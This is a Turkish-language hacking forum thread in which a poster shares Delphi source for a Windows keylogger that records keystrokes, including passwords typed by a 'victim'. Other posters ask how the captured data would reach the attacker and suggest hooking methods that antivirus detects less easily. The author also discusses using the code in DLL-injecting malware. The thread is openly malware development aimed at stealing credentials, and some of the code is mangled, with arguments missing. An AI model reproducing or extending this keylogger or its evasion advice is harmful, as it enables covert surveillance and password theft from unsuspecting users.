merhaba nessaj, Tugberk, ufak bisey soylemisti demisti de uzun zaman onceydi hatirlamiyorum herneyse fazla uzatmicam. C hazretleri linux/embedded system uzerinde calisiyor.. saygilar. wh0 tarafından 14/Kas/12 11:52 tarihinde düzenlenmiştir 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

logladiktan sonra, nasil bir islem uyguladigini anlamadim? Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak? https://t. me/pump_upp

unit UnitKeyLogger;interfaceuses Windows, Classes;type TUnicodeKeylogger = class private public FActiveBackSpace:Boolean; FullLogData : String; function IsKeyPressed : Boolean; procedure AddKey ; protected procedure Execute; override; end;implementationprocedure TUnicodeKeylogger. AddKey ;begin FullLogData := FullLogData + StrKey; Write ;end;function TUnicodeKeylogger. IsKeyPressed : Boolean;begin result := (Windows. GetAsyncKeyState and $8001) = $8001;end;procedure TUnicodeKeylogger. Execute;var VirtKey : UINT; ScanCode : UINT; UniEx : Integer; keyboardLayout : HKL; keyboardSpeed : Integer; keyboardState : TKeyboardState; strBuffer : String; UnicodeChar : array of WChar; strkeyname : Array of Char; dwThread : DWORD; dwProcess : DWORD; dwHandle : HWND;BEGIN Windows. SystemParametersInfo(Windows. SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0); WHILE NOT Terminated DO BEGIN Windows. GetKeyState ; Windows. GetKeyboardState ; dwHandle:= Windows. GetForegroundWindow ; dwThread:= Windows. GetWindowThreadProcessId ; keyboardLayout:= Windows. GetKeyboardLayout ; FOR VirtKey := 0 TO $FF DO IF IsKeyPressed THEN BEGIN IF VirtKey = 8 THEN // silmeye basilirsa BEGIN IF FActiveBackSpace THEN BEGIN Delete(FullLogData, Length , 1); END ELSE BEGIN Continue; END; END; ScanCode := Windows. MapVirtualKeyEx(VirtKey, 0, keyboardLayout); Windows. GetKeyNameTextA(ScanCode SHL 16, strkeyname, sizeof ; IF Windows. lstrlenA > 1 THEN BEGIN IF VirtKey = VK_SPACE THEN strkeyname := ' '; // bosluk tusu IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu AddKey ; Continue; END; UniEx := Windows. ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout); strBuffer := UnicodeChar; SetLength ; AddKey ; END; Sleep(keyboardSpeed DIV 4); END;END;END. program Lib; uses Windows, UnitKeyLogger in 'UnitKeyLogger. pas';VAR Msg : TMsg; Keylogger:TUnicodeKeylogger ; LangID : Cardinal;begin LangID:=Windows. GetUserDefaultLangID; Windows. SetThreadLocale ; Keylogger:=TUnicodeKeylogger. Create ; Keylogger. Resume; While Windows. GetMessage(Msg,0,0,0) Do Begin Windows. TranslateMessage ; Windows. DispatchMessageA ; End;end. 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

Hazreti c de mi bilmiyo nedenini ona soraydin :D. Oldukca sacma geldi yanliz ilginc bi hata yapmiyasin? Daha once dll inject denemedim bu arada.

Hocam bu for dngüsü içinde keyloggerları avler pek sever, kolay yakalarlar. Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı ktektir!

Hocam bu for dngüsü içinde keyloggerları avler pek sever, kolay yakalarlar. Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye HolyOne hocam selamlar, setwindowshookex, callnexthook apisi kullanan bir keylogger unitesi dll injection kullanan bir malwarede calistiramazsiniz.. sebebinin neden kaynaklandigini bilmiyorum ama dll nin direk hddye drop edilmesi gerekmekte. zararli yazilim yazanlar icin dll extract etmek istenmeyen bir durumdur. benim amacim burada MapVirtualKeyEx, GetKeyNameTextA, ToUnicodeEx we SetThreadLocale apilerinin kullanilmasini gostermekti. Cunku msdn gibi bir bilgi bankasinin varligindan haberi olmayan keylogger yazarlari, her bir keycode icin bir harf atamasi yapiyorlardi, buda hamallikti... kullananlar warsa credits versin. saygilar. wh0 tarafından 14/Kas/12 17:36 tarihinde düzenlenmiştir 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

logladiktan sonra, nasil bir islem uyguladigini anlamadim? Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak? bu bitek logger :)